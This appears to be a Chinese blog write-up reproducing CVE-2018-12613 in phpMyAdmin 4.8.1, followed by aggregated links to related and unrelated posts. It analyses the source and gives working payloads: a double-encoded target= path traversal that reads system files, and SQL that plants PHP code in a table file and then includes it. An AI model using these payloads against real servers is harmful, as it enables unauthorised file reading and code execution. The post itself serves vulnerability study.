CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现

By:Mirror王宇阳

漏洞原理

攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。

攻击者必须经过身份验证,但在这些情况下除外:

$ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;

$ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。

影响:phpMyAdmin-4.8.0/4.8.1

漏洞环境

phpStudy2016 下载

phpMyAdmin-4.8.1 下载

漏洞成因

漏洞索引:

文件路径:.\phpMyAdmin\index.php

位置锁定:line 55~63

源码分析:

// 如果有一个有效的目标,加载这个脚本

if (! empty($_REQUEST['target'])

//是否存在target参数

&& is_string($_REQUEST['target'])

//target是否为字符串

&& ! preg_match('/^index/', $_REQUEST['target'])

//限制要求target以index开头

&& ! in_array($_REQUEST['target'], $target_blacklist)

//限制target不能出现在$target_blacklist中

/*

$target_blacklist = array(

'import.php' , 'export.php'

)

// target != 'import.php' != 'export.php'

*/

&& Core::checkPageValidity($_REQUEST['target'])

// Core类的checkPageValidity()方法

) {

include $_REQUEST['target'];

exit;

}

第61行include $_REQUEST['target'] 暴露了存在LFI的可能。

需要的是绕过限制:

target参数不可以以index开头,不出现在target_blacklist中(!= import.php != export.php)

调用Core类[libraries\classes\Core.php]的checkPageValidity()自定义函数且结果为真

public static function checkPageValidity(&$page, array $whitelist = [])

{

if (empty($whitelist)) {

// 白名单

//$whitelist在函数被调用的时候,没有值引用$goto_whitelist的内容(上图)

$whitelist = self::$goto_whitelist;

}

if (! isset($page) || !is_string($page)) {

//$page没有定义或$page不为字符串时 返回false

return false;

}

if (in_array($page, $whitelist)) { // in_array():搜索数组中是否存在指定的值

//$page存在$whitelist中的value返回true

return true;

}

$_page = mb_substr( //mb_substr():返回字符串的一部分

$page,

0,

mb_strpos($page . '?', '?')

//返回从开始到问号之间的字符串

);

if (in_array($_page, $whitelist)) {

//$_page存在$whitelist中的value返回true

return true;

}

$_page = urldecode($page);//urldecode():解码已编码的URL

//经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true

$_page = mb_substr(//返回从开始到问号之间的字符串

$_page,

0,

mb_strpos($_page . '?', '?')

//mb_strpos():查找在字符串中第一次出现的位置(大小写敏感)

);

if (in_array($_page, $whitelist)) {

return true;

}

return false;

}

465~473代码的目的:二次URL解码

这里考虑到了URL二次编码和参数存在的情况!

例如传入:?target=db_datadict.php%253f

服务器在接收到URL请求连接后就会自动对URL进行一次解码为:?target=db_datadict.php%3f在遇到$_page = urldecode($page);二次解码后为:?target=db_datadict.php?这样就符合白名单的要求“ ?符号前的文件名在白名单序列中”

利用二次编码“%253f”可以绕过checkPageValidity()的检查!

由于二次解码只是在checkPageValidity()中执行的,在index.php中只做过一次解码:?target=db_datadict.php%3f由此就造成了文件包含漏洞

漏洞复现

任意文件包含:

?target=db_sql.php%253f/../../../../../../windows/wininit.ini

任意代码执行:

查询数据库路径:

show global variables like "%datadir%";

向数据库写入代码:

CREATE DATABASE rce;

use rce;

CREATE TABLE rce(code varchar(100));

INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");

包含该数据库文件:

?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/MySQL/data/rce/rce.MYD

phpmyadmin 4&period;8&period;1 远程文件包含漏洞(CVE-2018-12613)

漏洞详情 范围 phpMyAdmin 4.8.0和4.8.1 原理 首先在index.php 50-63行代码 $target_blacklist = array ( 'import.php', 'e ...

18&period;phpmyadmin 4&period;8&period;1 远程文件包含漏洞(CVE-2018-12613)

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.其index.php中存在一处文件包含逻辑, ...

DedeCMS 5&period;7 sp1远程文件包含漏洞&lpar;CVE-2015-4553&rpar;

DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553) 一.漏洞描述 该漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当 ...

记一次phpmyadmin 4&period;8&period;1 远程文件包含漏洞(BUUCTF web)

题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...

dedecmsv5&period;7sp1远程文件包含漏洞审计

dedecms5.7 sp1版本存在远程文件包含漏洞,在此记录审计复现漏洞过程. 漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆 ...

php本地及远程文件包含漏洞

在php程序中包含有file inclusion的时候,php要开启一下两个功能: allow_url_fopen onallow_url_include on 但是开启这两个功能之后伴随的是url漏 ...

php远程文件包含截断问题

今天在学习一书是,提到一个php远程文件包含漏洞 可以从攻击者服务器中的一个写好的攻击脚本中远程执行命令 服务器中有漏洞的页面代码为: #test.php#error ...

PHP文件包含漏洞攻防实战(allow&lowbar;url&lowbar;fopen、open&lowbar;basedir)

摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...

PHP文件包含漏洞剖析

一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...

随机推荐

创建 Pool &amp&semi; VIP - 每天5分钟玩转 OpenStack(122)

上节完成了 LBaaS 配置,今天我们开始实现如下 LBaaS 环境. 环境描述如下: 1. 创建一个 Pool “web servers”. 2. 两个 pool member “WEB1” 和 “ ...

Tomcat7配置数据源

http://www.cnblogs.com/ITtangtang/archive/2012/05/21/2511749.html

C&plus;&plus; Primer &colon; &colon; 第十四章 &colon; 重载运算符与类型转换之类型转换运算符和重载匹配

类型转换运算符 class SmallInt { public: SmallInt(int i = 0) : val(i) { if (i < 0 || i > 255) throw st ...

centos6关闭ipv6

Install packages for CentOS 6.0 Minimal cat <>/etc/modprobe.d/disable_ipv6.conf ali ...

Android开发全套视频教程在线观看网盘下载

千锋金牌讲师老罗老师简介: 国内第一批Android教学讲师,10多年软件开发经验,6年多教学经验,曾担任广东电信北京分公司移动事业部项目经理,主持过微软中国平台考试系统.山西省旅游局智能化平台等大型 ...

seo初学

对前端而言,做网站采用扁平式结构:控制网页链接数量,不能太少,当然也不能太多:其次采用扁平的目录层次,不能超过3次:三:导航优化,最好是文字,如果是图片的话,alt和title必须添加. 面包屑导航: ...

B&period; Friends and Presents(Codeforces Round &num;275&lpar;div2&rpar;

B. Friends and Presents time limit per test 1 second memory limit per test 256 megabytes input stand ...

python学习第32天

# 使用模块操作进程# multiprocessing 一个多元化的进程模块# multiple 多元化 processing 进程 # 涵盖了和进程相关的几乎所有的内容# Process类 帮助你启 ...

C&num; 并发编程 &&num;183&semi; 经典实例

http://www.cnblogs.com/savorboard/p/csharp-concurrency-cookbook.html 异步基础 任务暂停,休眠 异步方式暂停或者休眠任务,可以使用  ...

Java中同步的几种实现方式

1.使用synchronized关键字修饰类或者代码块: 2.使用Volatile关键字修饰变量: 3.在类中加入重入锁. 代码示例: 非同步状态下: public static void main( ...

index.php.bak 颓废_CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现相关推荐

  1. test.php.bak,记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)

    题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...

  2. phpmyadmin4.8.1远程文件包含漏洞

    phpmyadmin index.php中 (1)是一个非空字符串: (2)不能以 index 开头: (3)不能在黑名单数组 $target_blacklist 中: (4)要满足 checkPag ...

  3. index.php.bak 颓废_18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

    phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.其index.php中存在一处文件包含逻辑, ...

  4. php文件包含漏洞解决方法,DzzOffice 1.2.2 /index.php 本地文件包含漏洞

    Index.php $dzz = C::app(); $mod = getgpc('mod'); $mod = !empty($mod) ? $mod : ''; $op = !empty($_GET ...

  5. 暑期练习web25:web code(i春秋)index.php文件包含、base64图片加密

    这次有意思,上来就是个萌妹子 但我们不能光看妹子,学习更重要!查看一波源码,很长一段,前面提示了是base64(html中图片可以用base64表示,那么用base64表示的文本就是破损图片) 但是我 ...

  6. 复现计算机论文模型,COLING 2018 最佳论文解读:序列标注经典模型复现

    原标题:COLING 2018 最佳论文解读:序列标注经典模型复现 在碎片化阅读充斥眼球的时代,越来越少的人会去关注每篇论文背后的探索和思考. 在这个栏目里,你会快速 get 每篇精选论文的亮点和痛点 ...

  7. 给大家分享一下2018最新的Java黑马视频教程,包含十次方和乐优商城项目

    大家分享一下2018最新的Java黑马视频教程,2018年10月份的项目,包含十次方和乐优商城项目 链接:https://pan.baidu.com/s/1y7cFy67iPbyxOEzzvYSbhw ...

  8. d58站群inc.php,D58站群2018年版本SEO特殊字符静态文件生成根目录源码分享

    网上有很多的站群软件都是2017年2016年的老版本,这些软件很多都被百度技术识别,基本没有什么用了,这款D58站群2018年版本到目前来说,还是有效果的. 先说下D58站群包含的文件有哪些: mb. ...

  9. Goby 漏洞更新 | 瑞友天翼应用虚拟化系统 index.php 文件远程代码执行漏洞

    漏洞名称: 瑞友天翼应用虚拟化系统 index.php 文件远程代码执行漏洞 English Name:Ruiyou Tianyi Application Virtualization System ...

最新文章

  1. 通过AI翻译大脑信息
  2. Unreachable code
  3. c与python的区别-C++/C/JAVA/Python之间的区别?
  4. Friendly Group Gym - 102769F 2020(并查集)ccpc秦皇岛分站赛
  5. ABP入门系列(1)——通过模板创建MAP版本项目
  6. navigator 携带参数_福州振动时效参数视频,振动时效设备用途
  7. 史上最全数据库中间件详解
  8. RS错误RSV-VAL-0032之项目未在布局中引用的3种解决办法
  9. openresty 搭建
  10. python threading编程中的LOCK和RLOCK(可重入锁)
  11. 【线性代数】20 基变换,基变换公式,坐标变换公式
  12. 安科瑞ACY100油烟浓度在线监控仪在浙江省某市餐饮油烟监测治理项目中的应用
  13. 乾颐堂现任明教教主(2014年课程)TCPIP协议详解卷一 第三节课笔记
  14. 安装算量软件使用_鹏业安装算量软件常用按钮汇总(三)
  15. java feature envy_《重构-改善既有代码的设计 第3章代码的坏味道》学习笔记
  16. matlab中时域逐步积分方法,newmark积分法
  17. 几个可以整蛊你朋友的 Python 程序
  18. linux filp open,Linux Kernel 'do_filp_open()'本地拒绝服务漏洞
  19. 社会学百科——英国DK出版社
  20. director(director)

热门文章

  1. 我越脱俗,就会越世俗
  2. 华为鸿蒙os家电,搭载华为鸿蒙OS的美的产品上市
  3. KEIL5创建新工程模板 以及文件简介概述
  4. 树莓派can总线_RPi 2B: CAN总线通信 - 通过OBD-II接口获取车辆信息
  5. 如何衡量一个算法的好坏
  6. ivor horton《c语言入门经典》,《C语言入门经典》Ivor Horton第九章练习题
  7. 看完就懂——MySQL索引、事务与存储引擎
  8. Navicat Premium 15导入excel表格
  9. 灰色产业链成病毒传播最大渠道 流量生意或迎来最后的疯狂
  10. 概览:可视化前端测试